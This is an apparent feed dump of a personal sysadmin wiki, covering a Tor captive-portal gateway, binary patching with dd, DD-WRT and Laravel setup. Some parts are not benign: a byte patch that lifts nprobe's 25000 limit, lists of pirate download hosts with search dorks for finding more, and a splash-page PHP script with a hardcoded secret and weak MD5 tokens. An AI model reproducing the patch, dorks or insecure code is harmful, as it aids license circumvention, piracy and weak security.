no-resolv&lt;br /&gt;
&lt;br /&gt;
# IPTables will route this back to 192.168.192.11.&lt;br /&gt;
# Doing this because dnsmasq refuses to listen to a local interface.&lt;br /&gt;
server=172.19.19.19&lt;br /&gt;
&lt;br /&gt;
interface=eth1&lt;br /&gt;
address=/torified.wifi/192.168.192.10&lt;br /&gt;
&lt;br /&gt;
dhcp-script=/scripts/dnsmasq_dhcp&lt;br /&gt;
dhcp-range=192.168.192.20,192.168.192.250,2h&lt;br /&gt;
dhcp-option=6,192.168.192.10&lt;br /&gt;
dhcp-option=3,192.168.192.10&lt;br /&gt;
no-dhcp-interface=eth0&lt;br /&gt;
&lt;br /&gt;
domain=torified.wifi&lt;br /&gt;
log-queries&lt;br /&gt;
log-dhcp&lt;br /&gt;
&lt;br /&gt;
# Define hosts&lt;br /&gt;
dhcp-host=00:0c:29:0f:a7:ab,win7vm,192.168.192.2,6h&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
For more information on DNSMasq, see [[Dnsmasq]]&lt;br /&gt;
&lt;br /&gt;
Notice that the DNS server is 172.19.19.19 -- this IP does not in fact exist in my network. I will use IPTables (see below) to redirect this traffic to TOR. Reason I am using this IP is because it is not on the interface since dnsmasq will complain otherwise.&lt;br /&gt;
&lt;br /&gt;
dnsmasq is configured to run the DHCP script at &amp;lt;code&amp;gt;/scripts/dnsmasq_dhcp&amp;lt;/code&amp;gt;. This script basically ensures that the client gets &#039;unregistered&#039; from the network when their lease times out or when they reconnect which will force them to my splash page. The contents of the script is quite simple:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line start=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#!/bin/sh&lt;br /&gt;
&lt;br /&gt;
if [ $# -ne 3 -a $# -ne 4 ] ; then&lt;br /&gt;
        echo &amp;quot;Usage: dnsmasq_dhcp &amp;lt;add|del&amp;gt; &amp;lt;mac&amp;gt; &amp;lt;ip&amp;gt; [hostname]&amp;quot;&lt;br /&gt;
        exit&lt;br /&gt;
fi&lt;br /&gt;
&lt;br /&gt;
TOR_IF=&amp;quot;eth1&amp;quot;&lt;br /&gt;
Action=$1&lt;br /&gt;
IP=$3&lt;br /&gt;
&lt;br /&gt;
# We want to remove them when they lose their lease...&lt;br /&gt;
if [[ &amp;quot;$Action&amp;quot; = &amp;quot;del&amp;quot; ]] || [[ &amp;quot;$Action&amp;quot; = &amp;quot;old&amp;quot; ]] ; then&lt;br /&gt;
        /sbin/iptables -t nat -D tor_clients -p tcp -s $IP --syn -j REDIRECT --to-ports 9040&lt;br /&gt;
        /sbin/iptables -t nat -D tor_clients -p udp -s $IP --dport 53 -j REDIRECT --to-ports 53&lt;br /&gt;
fi&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== IPTables ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line start=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot;&amp;gt;&lt;br /&gt;
#!/bin/sh&lt;br /&gt;
&lt;br /&gt;
IPT=/sbin/iptables&lt;br /&gt;
TOR_UID=109&lt;br /&gt;
TOR_NET=192.168.192.0/24&lt;br /&gt;
TOR_IF=eth1&lt;br /&gt;
OUT_IF=eth0&lt;br /&gt;
&lt;br /&gt;
$IPT -F&lt;br /&gt;
$IPT -t nat -F&lt;br /&gt;
&lt;br /&gt;
# Connections from WifiNet must go directly to the gateway.&lt;br /&gt;
# Nothing can go directly to the world.&lt;br /&gt;
$IPT -A FORWARD -i $TOR_IF -j REJECT&lt;br /&gt;
&lt;br /&gt;
# This gateway will redirect gateway traffic through TOR&lt;br /&gt;
$IPT -t nat -X tor_clients&lt;br /&gt;
$IPT -t nat -N tor_clients&lt;br /&gt;
&lt;br /&gt;
$IPT -t nat -A PREROUTING -i $TOR_IF -p tcp -d 192.168.192.10 --dport 80 -j ACCEPT&lt;br /&gt;
$IPT -t nat -A PREROUTING -i $TOR_IF -p tcp -d 192.168.192.10 --dport 53 -j ACCEPT&lt;br /&gt;
$IPT -t nat -A PREROUTING -i $TOR_IF -p udp -d 192.168.192.10 --dport 53 -j ACCEPT&lt;br /&gt;
$IPT -t nat -A PREROUTING -i $TOR_IF -p tcp -d 192.168.192.10 --dport 443 -j ACCEPT&lt;br /&gt;
$IPT -t nat -A PREROUTING -i $TOR_IF -p tcp -d 192.168.192.11 --dport 80 -j ACCEPT&lt;br /&gt;
$IPT -t nat -A PREROUTING -i $TOR_IF -j tor_clients&lt;br /&gt;
$IPT -t nat -A PREROUTING -i $TOR_IF -p tcp -j DNAT --to-destination 192.168.192.10:80&lt;br /&gt;
&lt;br /&gt;
# Redirect dns traffic going to 172.19.19.19:53 to 192.168.192.11:53&lt;br /&gt;
# because dnsmasq refuses to listen to a local interface&lt;br /&gt;
$IPT -t nat -A OUTPUT -p udp -d 172.19.0.0/16 --dport 53 -j DNAT --to-destination 192.168.192.11:53&lt;br /&gt;
$IPT -t nat -A OUTPUT -p tcp -d 172.19.0.0/16 --dport 53 -j DNAT --to-destination 192.168.192.11:53&lt;br /&gt;
&lt;br /&gt;
# Note: To route traffic for all hosts, use:&lt;br /&gt;
# $IPT -t nat -A PREROUTING -i $TOR_IF -p udp --dport 53 -j REDIRECT --to-ports 53&lt;br /&gt;
# $IPT -t nat -A PREROUTING -i $TOR_IF -p tcp --syn -j REDIRECT --to-ports 9040&lt;br /&gt;
&lt;br /&gt;
# Allow specific hosts, bypass login screen&lt;br /&gt;
$IPT -t nat -I PREROUTING -i $TOR_IF -s 192.168.192.2 -p udp --dport 53 -j REDIRECT --to-ports 53&lt;br /&gt;
$IPT -t nat -I PREROUTING -i $TOR_IF -s 192.168.192.2 -p tcp --syn -j REDIRECT --to-ports 9040&lt;br /&gt;
&lt;br /&gt;
$IPT -t nat -I PREROUTING -i $TOR_IF -s 192.168.192.3 -p udp --dport 53 -j REDIRECT --to-ports 53&lt;br /&gt;
$IPT -t nat -I PREROUTING -i $TOR_IF -s 192.168.192.3 -p tcp --syn -j REDIRECT --to-ports 9040&lt;br /&gt;
&lt;br /&gt;
# To allow a new host, add the rules below for EVERY individual host:&lt;br /&gt;
# $IPT -t nat -I PREROUTING -i $TOR_IF -s $HOST -p udp --dport 53 -j REDIRECT --to-ports 53&lt;br /&gt;
# $IPT -t nat -I PREROUTING -i $TOR_IF -s $HOST -p tcp --syn -j REDIRECT --to-ports 9040&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To add additional clients that can access the TOR network, run the following lines per IP:&lt;br /&gt;
 $IPT -t nat -I tor_clients -p tcp -s $IP --syn -j REDIRECT --to-ports 9040 &lt;br /&gt;
 $IPT -t nat -I tor_clients -p udp -s $IP --dport 53 -j REDIRECT --to-ports 53&lt;br /&gt;
&lt;br /&gt;
To remove clients from access, run:&lt;br /&gt;
 $IPT -t nat -D tor_clients -p tcp -s $IP --syn -j REDIRECT --to-ports 9040&lt;br /&gt;
 $IPT -t nat -D tor_clients -p udp -s $IP --dport 53 -j REDIRECT --to-ports 53&lt;br /&gt;
&lt;br /&gt;
== Splash Page ==&lt;br /&gt;
&lt;br /&gt;
With the basic infrastructure set up, we will now just need to create the splash page which will show the users the TOS, before letting them &#039;register&#039; onto the network (which will just add their IP to the tor_clients_chain, thereby enabling internet access). The dnsmasq lease time will cause the IPs to &#039;unregister&#039; after the lease expires when the /scripts/dnsmasq_dhcp script gets executed.&lt;br /&gt;
&lt;br /&gt;
I wrote a quick PHP script that does this (far from perfect, but it works). You will need to create the actual content pages, but that should be quite trivial.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;php&amp;quot; line start=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
// The name of your splash page&lt;br /&gt;
define(&amp;quot;SITE_NAME&amp;quot;, &amp;quot;TORified.wifi&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
// The secret &#039;key&#039; used to generate tokens&lt;br /&gt;
define(&amp;quot;SECRET&amp;quot;, &amp;quot;s3kr3tz&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
// Path to binaries&lt;br /&gt;
define(&amp;quot;SUDO_EXEC&amp;quot;, &amp;quot;/usr/bin/sudo&amp;quot;);&lt;br /&gt;
define(&amp;quot;IPTABLES_EXEC&amp;quot;, &amp;quot;/sbin/iptables&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
$secret = isset($_POST[&#039;secret&#039;]) ? $_POST[&#039;secret&#039;] : NULL;&lt;br /&gt;
$ip = $_SERVER[&#039;REMOTE_ADDR&#039;];&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
include &amp;quot;pages/header.php&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
if ($secret === NULL) {&lt;br /&gt;
        include &amp;quot;pages/welcome.php&amp;quot;;&lt;br /&gt;
} else {&lt;br /&gt;
        if (is_valid_key($secret)) {&lt;br /&gt;
                if (add_client($ip)) {&lt;br /&gt;
                        include &amp;quot;pages/registered.php&amp;quot;;&lt;br /&gt;
                } else {&lt;br /&gt;
                        include &amp;quot;pages/error_registered.php&amp;quot;;&lt;br /&gt;
                }&lt;br /&gt;
        } else {&lt;br /&gt;
                include &amp;quot;pages/error_timedout.php&amp;quot;;&lt;br /&gt;
        }&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
include &amp;quot;pages/footer.php&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
//&lt;br /&gt;
// Generates a key&lt;br /&gt;
//&lt;br /&gt;
function generate_key() {&lt;br /&gt;
        return md5(SECRET . date(&amp;quot;Hi&amp;quot;));&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
//&lt;br /&gt;
// Verifies whether the key that was submitted on the form is valid.&lt;br /&gt;
// Keys expires after a minute.&lt;br /&gt;
//&lt;br /&gt;
function is_valid_key($secret) {&lt;br /&gt;
        $hour = date(&amp;quot;H&amp;quot;);&lt;br /&gt;
        $minute = date(&amp;quot;i&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
        return ($secret == md5(SECRET . $hour . $minute)&lt;br /&gt;
                || $secret == md5(SECRET . $hour . ($minute - 1))&lt;br /&gt;
                || $secret == md5(SECRET . ($hour - 1) . ($minute - 1)));&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
//&lt;br /&gt;
// Adds a new client to the network by allowing their IP to access TOR&lt;br /&gt;
//&lt;br /&gt;
function add_client($IP) {&lt;br /&gt;
        $rules = trim(shell_exec(SUDO_EXEC . &amp;quot; &amp;quot; . IPTABLES_EXEC . &amp;quot; -t nat -L|grep $IP | wc -l &amp;quot;));&lt;br /&gt;
&lt;br /&gt;
        // If we have more than 2 rules for this IP, they are probably registered already...&lt;br /&gt;
        if ($rules &amp;lt; 2) {&lt;br /&gt;
                shell_exec(SUDO_EXEC . &amp;quot; &amp;quot; . IPTABLES_EXEC . &amp;quot; -t nat -I tor_clients -p tcp -s $IP --syn -j REDIRECT --to-ports 9040 2&amp;gt;&amp;amp;1&amp;quot;);&lt;br /&gt;
                shell_exec(SUDO_EXEC . &amp;quot; &amp;quot; . IPTABLES_EXEC . &amp;quot; -t nat -I tor_clients -p udp -s $IP --dport 53 -j REDIRECT --to-ports 53 2&amp;gt;&amp;amp;1&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
                return TRUE;&lt;br /&gt;
        }&lt;br /&gt;
        return FALSE;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:Linux]]&lt;br /&gt;
[[Category:Guides]]&lt;/div&gt;</summary>
		<author><name>10.1.1.3</name></author>
	</entry>
	<entry>
		<id>https://leo.leung.xyz/wiki/index.php?title=Main_Page&amp;diff=1212</id>
		<title>Main Page</title>
		<link rel="alternate" type="text/html" href="https://leo.leung.xyz/wiki/index.php?title=Main_Page&amp;diff=1212"/>
		<updated>2015-07-24T07:09:27Z</updated>

		<summary type="html">&lt;p&gt;10.1.1.3: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Special:Search|Search]]  |   [[Special:Upload|Upload]]  | [[Special:Version|Version]]&lt;br /&gt;
&lt;br /&gt;
== Linux ==&lt;br /&gt;
{{Navbox Linux}}&lt;br /&gt;
&lt;br /&gt;
== Benchmarks ==&lt;br /&gt;
{{Navbox Benchmarks}}&lt;br /&gt;
&lt;br /&gt;
== Others ==&lt;br /&gt;
Categories&lt;br /&gt;
* [[:Category:C-Sharp|C#]]&lt;br /&gt;
* [[:Category:FreeBSD|FreeBSD]]&lt;br /&gt;
* [[:Category:Solaris|Solaris]]&lt;br /&gt;
* [[:Category:VMWare ESXi|VMWare ESXi]]&lt;br /&gt;
* [[:Category:TipsnTricks|Tips &amp;amp;amp; Tricks]]&lt;br /&gt;
* [[:Category:Services|Services]]&lt;br /&gt;
* [[:Category:Code|Code]]&lt;br /&gt;
* [[:Category:Guides|Guides]]&lt;br /&gt;
* [[:Category:Todo|Todo]]&lt;br /&gt;
&lt;br /&gt;
Topics&lt;br /&gt;
* [[Cheat Sheet]]&lt;br /&gt;
* [[Troubleshoot]]&lt;br /&gt;
* [[ZFS]]&lt;br /&gt;
* [[BSD Jails]]&lt;br /&gt;
* [[Dying SSD]]&lt;br /&gt;
* [[Cobbler]]&lt;br /&gt;
* [[Salt]]&lt;br /&gt;
* [[Cdist]]&lt;br /&gt;
* [[Mail Server]]&lt;br /&gt;
* [[tcsh]]&lt;br /&gt;
* [[Elevator]]&lt;br /&gt;
&lt;br /&gt;
Personal&lt;br /&gt;
* [[Recipes]]&lt;br /&gt;
* [[Shopping List]]&lt;br /&gt;
&lt;br /&gt;
Other Sites&lt;br /&gt;
* [http://iplocation.truevue.org/ IP Lookup]&lt;br /&gt;
&lt;br /&gt;
* http://sipb.mit.edu/doc/safe-shell/&lt;br /&gt;
* http://blog.kihltech.com/&lt;br /&gt;
* http://tech.superhappykittymeow.com/&lt;br /&gt;
* http://info.michael-simons.eu&lt;br /&gt;
* http://crashmag.net&lt;br /&gt;
* http://mywiki.wooledge.org/BashFAQ&lt;br /&gt;
* http://www.iptables.info/en/structure-of-iptables.html&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Coin Exchange&lt;br /&gt;
* https://hitbtc.com/account&lt;br /&gt;
* https://poloniex.com/exchange#btc_bcn&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pirate Drops&lt;br /&gt;
* fredkodongo.ananke.feralhosting.com/index.html/&lt;br /&gt;
** ~200mbit. Some games and TV&lt;br /&gt;
* abdullah.stack.seedhost.eu/abdullah/downloads/?C=M;O=A&lt;br /&gt;
* ukuthemba.seedstuff.ca/?C=M;O=A&lt;br /&gt;
* dl.eveilmusical.ovh/Complete/?C=M;O=A&lt;br /&gt;
* beckwreck.hermes.feralhosting.com/links/deluge_data/&lt;br /&gt;
&lt;br /&gt;
To find more, search:&lt;br /&gt;
 inurl:feralhosting.com intitle:&amp;quot;Index of&amp;quot; &lt;br /&gt;
 inurl:seedhost.eu intitle:&amp;quot;Index of&amp;quot; &lt;br /&gt;
&lt;br /&gt;
* https://herbertmusoke.com&lt;br /&gt;
&lt;br /&gt;
Not updated:&lt;br /&gt;
* instance.hypnos.feralhosting.com/data&lt;br /&gt;
** random stuff&lt;br /&gt;
* djoendi.co.vu/dunlud/&lt;br /&gt;
** games&lt;br /&gt;
* ks3352402.kimsufi.com/dl&lt;br /&gt;
* https://lsd-25.ru/uploads&lt;br /&gt;
&lt;br /&gt;
* hxxp://ks3352402.kimsufi.com/dl/  ~70mbit, some movies, some tv, french&lt;br /&gt;
* hxxp://box.bob.sh/ misc stuff&lt;br /&gt;
* hxxp://blogs.hatrix.fr/download HD TV, french&lt;br /&gt;
* hxxp://87.252.164.6/Mof/ low quality TV&lt;br /&gt;
* hxxp://nivaldia.fr/torrent/Complete/Cloud%20Atlas/ - french stuff. tvs and movies.&lt;br /&gt;
* hxxp://metaldiamond.tk/private/Jeux/ some games, french stuff.&lt;br /&gt;
&lt;br /&gt;
* dl.imontou.ch&lt;br /&gt;
** Alles auf Deutsch: TV, Movies, Games&lt;br /&gt;
&lt;br /&gt;
* hxxp://xcloud.thib0704.net/thib/downloads some games, tv, movies&lt;br /&gt;
* hxxp://home.alexsoft-bg.com:8080/download/ misc&lt;br /&gt;
&lt;br /&gt;
php fcgi&lt;br /&gt;
* http://blog.giantchipmunk.com/2011/01/setting-up-php-with-fastcgi-and-suexec.html&lt;/div&gt;</summary>
		<author><name>10.1.1.3</name></author>
	</entry>
	<entry>
		<id>https://leo.leung.xyz/wiki/index.php?title=ByteCoin&amp;diff=1210</id>
		<title>ByteCoin</title>
		<link rel="alternate" type="text/html" href="https://leo.leung.xyz/wiki/index.php?title=ByteCoin&amp;diff=1210"/>
		<updated>2015-07-20T06:32:54Z</updated>

		<summary type="html">&lt;p&gt;10.1.1.3: Created page with &amp;quot;How ByteCoin works: https://cryptonote.org/inside.php#equal-proof-of-work  My Address: 29ZqkPYqohj4ucFQajWCgbLBbVNJeNTBidnJry6KvDnaiQV5hUH3HpFC5NaPEXAEbeS2VzXJxZarMGxL4JM1vawo...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;How ByteCoin works: https://cryptonote.org/inside.php#equal-proof-of-work&lt;br /&gt;
&lt;br /&gt;
My Address: 29ZqkPYqohj4ucFQajWCgbLBbVNJeNTBidnJry6KvDnaiQV5hUH3HpFC5NaPEXAEbeS2VzXJxZarMGxL4JM1vawo6i8nbSb&lt;br /&gt;
&lt;br /&gt;
Miner pool: http://bytecoin.miner.center/&lt;/div&gt;</summary>
		<author><name>10.1.1.3</name></author>
	</entry>
	<entry>
		<id>https://leo.leung.xyz/wiki/index.php?title=Libgen&amp;diff=1209</id>
		<title>Libgen</title>
		<link rel="alternate" type="text/html" href="https://leo.leung.xyz/wiki/index.php?title=Libgen&amp;diff=1209"/>
		<updated>2015-07-18T01:42:58Z</updated>

		<summary type="html">&lt;p&gt;10.1.1.3: Created page with &amp;quot;The Library Genesis, libgen for short, is the amazon for pirated ebooks and scientific journals.  They are currently accessible at http://libgen.io (93.174.95.27)  If the site...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;The Library Genesis, libgen for short, is the amazon for pirated ebooks and scientific journals.&lt;br /&gt;
&lt;br /&gt;
They are currently accessible at http://libgen.io (93.174.95.27)&lt;br /&gt;
&lt;br /&gt;
If the site is inaccessible, use: http://gen.lib.rus.ec or check the forums for news at https://genofond.org/&lt;/div&gt;</summary>
		<author><name>10.1.1.3</name></author>
	</entry>
	<entry>
		<id>https://leo.leung.xyz/wiki/index.php?title=Patching_a_binary_file_with_dd&amp;diff=1179</id>
		<title>Patching a binary file with dd</title>
		<link rel="alternate" type="text/html" href="https://leo.leung.xyz/wiki/index.php?title=Patching_a_binary_file_with_dd&amp;diff=1179"/>
		<updated>2015-06-09T05:04:55Z</updated>

		<summary type="html">&lt;p&gt;10.1.1.3: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Suppose I know an instruction in a particular offset after disassembling a binary file. You can use `dd` to change or patch a file like so.&lt;br /&gt;
&lt;br /&gt;
 dd if=nprobe bs=1 count=6 skip=$((0x1430C)) | xxd&lt;br /&gt;
 6+0 records in&lt;br /&gt;
 6+0 records out&lt;br /&gt;
 6 bytes (6 B) copied, 0.000122275 s, 49.1 kB/s&lt;br /&gt;
 0000000: 0f84 5401 0000                           ..T...&lt;br /&gt;
&lt;br /&gt;
I want to change the above from a jz to jnz like so:&lt;br /&gt;
 echo &amp;quot;0F 85 54 01 00 00&amp;quot; | udcli -64  -x&lt;br /&gt;
 0000000000000000 0f8554010000     jnz 0x15a&lt;br /&gt;
&lt;br /&gt;
Overwrite the byte (or bytes) like so:&lt;br /&gt;
 printf &#039;\x0f\x85&#039; | dd conv=notrunc of=nprobe bs=1 seek=$((0x1430C))&lt;br /&gt;
 2+0 records in&lt;br /&gt;
 2+0 records out&lt;br /&gt;
 2 bytes (2 B) copied, 0.00097866 s, 2.0 kB/s&lt;br /&gt;
&lt;br /&gt;
Verify:&lt;br /&gt;
 [root@localhost bin]# dd if=nprobe bs=1 count=6 skip=$((0x1430C)) | xxd&lt;br /&gt;
 6+0 records in&lt;br /&gt;
 6+0 records out&lt;br /&gt;
 6 bytes (6 B) copied, 0.000136555 s, 43.9 kB/s&lt;br /&gt;
 0000000: 0f85 5401 0000                           ..T...&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
To patch libnprobe so that it doesn&#039;t stop after 25000:&lt;br /&gt;
 printf &#039;\x3d\xff\xff\x7f\xff&#039; | dd conv=notrunc of=/usr/local/lib/libnprobe-7.1.150608.so bs=1 seek=$((0x47ead))&lt;br /&gt;
 dd if=/usr/local/lib/libnprobe-7.1.150608.so bs=1 count=6 skip=$((0x47ead)) | xxd&lt;br /&gt;
 0000000: 3dff ff7f ff0f                           =.....&lt;/div&gt;</summary>
		<author><name>10.1.1.3</name></author>
	</entry>
	<entry>
		<id>https://leo.leung.xyz/wiki/index.php?title=Patching_a_binary_file_with_dd&amp;diff=1178</id>
		<title>Patching a binary file with dd</title>
		<link rel="alternate" type="text/html" href="https://leo.leung.xyz/wiki/index.php?title=Patching_a_binary_file_with_dd&amp;diff=1178"/>
		<updated>2015-06-09T03:18:49Z</updated>

		<summary type="html">&lt;p&gt;10.1.1.3: Created page with &amp;quot;Suppose I know an instruction in a particular offset after disassembling a binary file. You can use `dd` to change or patch a file like so.   dd if=nprobe bs=1 count=6 skip=$(...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Suppose I know an instruction in a particular offset after disassembling a binary file. You can use `dd` to change or patch a file like so.&lt;br /&gt;
&lt;br /&gt;
 dd if=nprobe bs=1 count=6 skip=$((0x1430C)) | xxd&lt;br /&gt;
 6+0 records in&lt;br /&gt;
 6+0 records out&lt;br /&gt;
 6 bytes (6 B) copied, 0.000122275 s, 49.1 kB/s&lt;br /&gt;
 0000000: 0f84 5401 0000                           ..T...&lt;br /&gt;
&lt;br /&gt;
I want to change the above from a jz to jnz like so:&lt;br /&gt;
 echo &amp;quot;0F 85 54 01 00 00&amp;quot; | udcli -64  -x&lt;br /&gt;
 0000000000000000 0f8554010000     jnz 0x15a&lt;br /&gt;
&lt;br /&gt;
Overwrite the byte (or bytes) like so:&lt;br /&gt;
 printf &#039;\x0f\x85&#039; | dd conv=notrunc of=nprobe bs=1 seek=$((0x1430C))&lt;br /&gt;
 2+0 records in&lt;br /&gt;
 2+0 records out&lt;br /&gt;
 2 bytes (2 B) copied, 0.00097866 s, 2.0 kB/s&lt;br /&gt;
&lt;br /&gt;
Verify:&lt;br /&gt;
 [root@localhost bin]# dd if=nprobe bs=1 count=6 skip=$((0x1430C)) | xxd&lt;br /&gt;
 6+0 records in&lt;br /&gt;
 6+0 records out&lt;br /&gt;
 6 bytes (6 B) copied, 0.000136555 s, 43.9 kB/s&lt;br /&gt;
 0000000: 0f85 5401 0000                           ..T...&lt;/div&gt;</summary>
		<author><name>10.1.1.3</name></author>
	</entry>
	<entry>
		<id>https://leo.leung.xyz/wiki/index.php?title=DD-WRT_Issues&amp;diff=1177</id>
		<title>DD-WRT Issues</title>
		<link rel="alternate" type="text/html" href="https://leo.leung.xyz/wiki/index.php?title=DD-WRT_Issues&amp;diff=1177"/>
		<updated>2015-06-07T18:00:10Z</updated>

		<summary type="html">&lt;p&gt;10.1.1.3: Created page with &amp;quot;My DD-WRT WRT54GL has been acting strange lately. Most of the symptoms appear as missing values on the web interface. The most obvious issue being the port forwarding table no...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;My DD-WRT WRT54GL has been acting strange lately. Most of the symptoms appear as missing values on the web interface. The most obvious issue being the port forwarding table not appearing or responding to add/remove commands. More recently, the WAN traffic graph no longer appears.&lt;br /&gt;
&lt;br /&gt;
After probing around, the issue is the router running out of nvram.  You can verify this by running:&lt;br /&gt;
&lt;br /&gt;
 root@DD-WRT:~# nvram show | grep size&lt;br /&gt;
 size: 32776 bytes (-8 left)&lt;br /&gt;
&lt;br /&gt;
If you dump the nvram, you can see what is actually stored on the router. Most of the data is filled with years of WAN traffic data. I cleared the WAN traffic data on the web interface (after creating a backup of course) and then restored only the current year&#039;s data to free up ~11Kb before rebooting the router.&lt;br /&gt;
&lt;br /&gt;
 root@DD-WRT:~# nvram show | grep size&lt;br /&gt;
 size: 21622 bytes (11146 left)&lt;br /&gt;
&lt;br /&gt;
After that, everything on the web interface appears to be working once again.&lt;/div&gt;</summary>
		<author><name>10.1.1.3</name></author>
	</entry>
	<entry>
		<id>https://leo.leung.xyz/wiki/index.php?title=Laravel&amp;diff=1175</id>
		<title>Laravel</title>
		<link rel="alternate" type="text/html" href="https://leo.leung.xyz/wiki/index.php?title=Laravel&amp;diff=1175"/>
		<updated>2015-06-01T05:22:33Z</updated>

		<summary type="html">&lt;p&gt;10.1.1.3: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
== Installation ==&lt;br /&gt;
Download composer and create an alias so that `composer` launches composer:&lt;br /&gt;
 wget -O - https://getcomposer.org/installer | php -- --install-dir=$HOME/tmp/&lt;br /&gt;
 alias composer=&#039;php $HOME/tmp/composer.phar&#039;&lt;br /&gt;
&lt;br /&gt;
Set up the laravel project using composer:&lt;br /&gt;
 composer create-project laravel/laravel projectname --prefer-dist&lt;br /&gt;
&lt;br /&gt;
There are many useful commands that comes with laravel&#039;s artisan command line PHP script located in the root of the project directory. You may want to create an alias for artisan:&lt;br /&gt;
 alias artisan=&#039;php artisan&#039;&lt;br /&gt;
&lt;br /&gt;
The initial laravel project will come with scaffolding project files which you may want to remove by running: &lt;br /&gt;
 artisan fresh&lt;br /&gt;
&lt;br /&gt;
Ensure that the webserver serving the laravel application has permission to write to the directories inside the `storagae` directory. If these directories are not writable by the webserver, no error messages will be displayed or logged.&lt;br /&gt;
&lt;br /&gt;
=== Miscellaneous Tools ===&lt;br /&gt;
When working with Less or Sass, you may wish to use Laravel Elixir which utilizes gulp. Install gulp by running as root:&lt;br /&gt;
 npm install --global gulp&lt;br /&gt;
&lt;br /&gt;
You may also want to install bower, a package manager for web stuff&lt;br /&gt;
 npm install --global bower&lt;br /&gt;
&lt;br /&gt;
Then run on the root project directory:&lt;br /&gt;
 npm install&lt;br /&gt;
&lt;br /&gt;
or extra plugins with:&lt;br /&gt;
 npm install gulp-minify-css --save-dev&lt;br /&gt;
&lt;br /&gt;
==== Bootstrap ====&lt;br /&gt;
 echo &#039;{&amp;quot;directory&amp;quot;: &amp;quot;vendor/bower_components&amp;quot;}&#039; &amp;gt; .bowerrc&lt;br /&gt;
 bower search bootstrap-sass&lt;br /&gt;
 bower install bootstrap-sass-official --save&lt;br /&gt;
&lt;br /&gt;
The bower files will now be in `vendor/bower_components/`&lt;br /&gt;
&lt;br /&gt;
=== Troubleshooting ===&lt;br /&gt;
You can see what packages and dependencies were installed by running:&lt;br /&gt;
 composer show -i&lt;br /&gt;
&lt;br /&gt;
All HTTP routes can be listed using `artisan`:&lt;br /&gt;
 artisan route:list&lt;br /&gt;
&lt;br /&gt;
== Database ==&lt;br /&gt;
=== Migration ===&lt;br /&gt;
Migration is a way to define database schemas and schema changes using PHP. When used with a version control system, it is trivial to replicate, update, or revert database schemas on your local system.&lt;br /&gt;
&lt;br /&gt;
When creating models using `artisan`, `artisan` will automatically create a migration for the table referenced by the new model. After defining the schema in the migration file, you can apply the schema by executing:&lt;br /&gt;
 artisan migrate&lt;br /&gt;
&lt;br /&gt;
You can reset (drop + re-migrate) using:&lt;br /&gt;
 artisan migrate:reset&lt;br /&gt;
&lt;br /&gt;
=== Database Seeding ===&lt;br /&gt;
The `DatabaseSeeder.php` file defines how the database is to be seeded, say after an initial migration. It is possible to import data from an existing database to your development database by executing raw SQL queries like so:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
class DatabaseSeeder extends Seeder {&lt;br /&gt;
&lt;br /&gt;
	/**&lt;br /&gt;
	 * Run the database seeds.&lt;br /&gt;
	 *&lt;br /&gt;
	 * @return void&lt;br /&gt;
	 */&lt;br /&gt;
	public function run()&lt;br /&gt;
	{&lt;br /&gt;
		Model::unguard();&lt;br /&gt;
&lt;br /&gt;
		$this-&amp;gt;call(&#039;WordsTableSeeder&#039;);&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
class WordsTableSeeder extends Seeder {&lt;br /&gt;
    public function run() {&lt;br /&gt;
        DB::table(&#039;words&#039;)-&amp;gt;delete();&lt;br /&gt;
		&lt;br /&gt;
		DB::select(DB::raw(&amp;quot;INSERT INTO chinese_laravel.words &lt;br /&gt;
			(word, pronunciation, frequency)&lt;br /&gt;
			SELECT word, pronunciation, frequency FROM chinese.word&amp;quot;));&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Application ==&lt;br /&gt;
Most of your project files will end up inside the `app` and `resources` directory. &lt;br /&gt;
&lt;br /&gt;
=== Configuration ===&lt;br /&gt;
